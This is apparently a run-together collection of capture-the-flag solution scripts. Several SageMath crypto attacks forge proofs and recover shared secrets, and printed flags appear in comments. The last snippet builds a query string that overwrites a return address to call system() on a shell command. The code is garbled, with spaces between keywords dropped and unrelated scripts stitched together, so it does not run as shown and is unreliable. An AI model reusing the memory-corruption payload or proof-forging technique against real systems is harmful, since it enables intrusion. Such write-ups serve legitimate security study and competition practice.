def__safeprime(self, nbits): stdout.write("Generating safeprime...") p = -1 whileTrue: q = next_prime(randbelow(2 * 2**nbits)) p = 2*q + 1 if p.is_prime(): break return p
def__eval(self, x: int) -> int: y = 0 for a in self.m: y += y * x + a return y % (self.p-1)
defprover(self, x: int) -> int: if self.ctr > self.degree + 1: raise Exception("Sorry, you are out of queries...") self.ctr += 1 returnint(pow(self.g, self.__eval(x), self.p))
defverify(self, x: int, u: int): ifnot u < self.p or u < 0: raise Exception("Oof, this is not mod p...") ifint(pow(self.g, self.__eval(x), self.p)) != u: raise Exception("No can do...")
deg = 15 xs = list(range(deg + 2)) xs[-1] = -1# prevent sol from being too big proves = [prove(i) for i in xs] M = vandermonde(xs[:deg]) sol1 = M.solve_left(vector([xs[-2] ^ i for i inrange(deg)])).change_ring(ZZ) print(sol1) lhs1 = product([a ^ b for a, b inzip(proves[:deg], sol1)]) # rational rhs1 = proves[-2]
sol2 = M.solve_left(vector([xs[-1] ^ i for i inrange(deg)])).change_ring(ZZ) print(sol2) lhs2 = product([a ^ b for a, b inzip(proves[:deg], sol2)]) # rational rhs2 = proves[-1] # lhs = rhs (mod p) p = gcd(lhs1.numer() - lhs1.denom() * rhs1, lhs2.numer() - lhs2.denom() * rhs2) print(f"{p = }")
M = M.change_ring(Zmod(p - 1))
deffake_proof(x): sol = M.solve_left(vector([x ^ i for i inrange(deg)])).change_ring(ZZ) return product([power_mod(a, b, p) for a, b inzip(proves[:deg], sol)]) % p
io.sendline(b"2") for _ in tqdm(range(100)): r = ZZ(io.recvlineS()) io.sendline(str(fake_proof(r)).encode()) io.interactive() # midnight{n0t_h4rd_3ven_w1th0ut_modulu5}
p = 4225693342127109694461474664875234388636946955456557547956774428518217802668660259782406877400331189882749889992278565317470800599051030042911227853036773 R.<x> = PolynomialRing(GF(p))
defF(f: R, k: Integer) -> R: g = x while k > 0: if k % 2 == 1: g = f(g) k = k // 2 f = f(f) return g
f = (1 * x + 2) / (3 * x + 4) g = (2 * x + 1) / (13 * x + 37)
gfixed = [r for r, _ in ((2 * x + 1) - x * (13 * x + 37)).roots()] assertall(g(r) == r for r in gfixed)
r = gfixed[0]
# F(f, x0) = (a*x+b)/(x+(a+1)) where b is known constant (by observation) # A(r)=F(f, x0)(r)=(a*r+b)/(r+(a+1))
A = ( 1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676 * x + 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146 ) / ( x + 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612 ) B = ( 2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225 * x + 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785 ) / ( x + 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029 )
RR.<a> = GF(p)[] b = f.numerator()[0] a = (A(r) * (r + (a + 1)) - (a * r + b)).roots()[0][0] fx0 = (a * x + b) / (x + (a + 1))
defrational_invertse(f): a = f.numerator()[1] b = f.numerator()[0] c = f.denominator()[1] d = f.denominator()[0] return (b - d * x) / (c * x - a)
gx1 = rational_invertse(fx0)(A) C = fx0(B(gx1)) print("My kompot is ready: midnight{%d}" % (C(0))) # midnight{3376861921537964672541400365700467193751583514806849485754729332434511031717727819872760853068826617376545669091237756749178566789525020268534935958343010}
a = fn2mat(f) b = fn2mat(g) u = fn2mat(A) v = fn2mat(B)
P.<y00,y01,y10,y11> = GF(p)[] y = matrix([ [y00, y01], [y10, y11] ]) x_inv = y * ~u
defadd_mat_eq(polys, lhs, rhs): for i inrange(lhs.nrows()): for j inrange(lhs.ncols()): polys.append(lhs[i, j] - rhs[i, j])
polys = [] add_mat_eq(polys, y * b, b * y) add_mat_eq(polys, x_inv * a, a * x_inv)
# alternative way to solve this system: P.ideal(polys).groebner_basis() M, _ = Sequence(polys).coefficient_matrix() print(M.change_ring(Zmod(107))) # overview of matrix print(_) # variables of each column # no constant term so only need to find the kernel # many solutions so any one of them will work y00, y01, y10, y11 = M.right_kernel().basis()[0] y = matrix(GF(p), [ [y00, y01], [y10, y11] ]) x_inv = y * ~u x = ~x_inv shared = x * v * y c0 = shared[0, 1] / shared[1, 1] print("My kompot is ready: midnight{%d}" % c0)
buf = 0xffb901fc ret = 0xffb9041c cmd_start = 0xffb90438
writes = [] writes.append((ret-buf, 0x81)) # partial overwrite to system for i, v inenumerate(b'/showflag > /tmp/peko\0'): writes.append((cmd_start-buf+i, v)) qs = '&'.join([f'fix{i}={v}'for i, v in writes]) print(qs)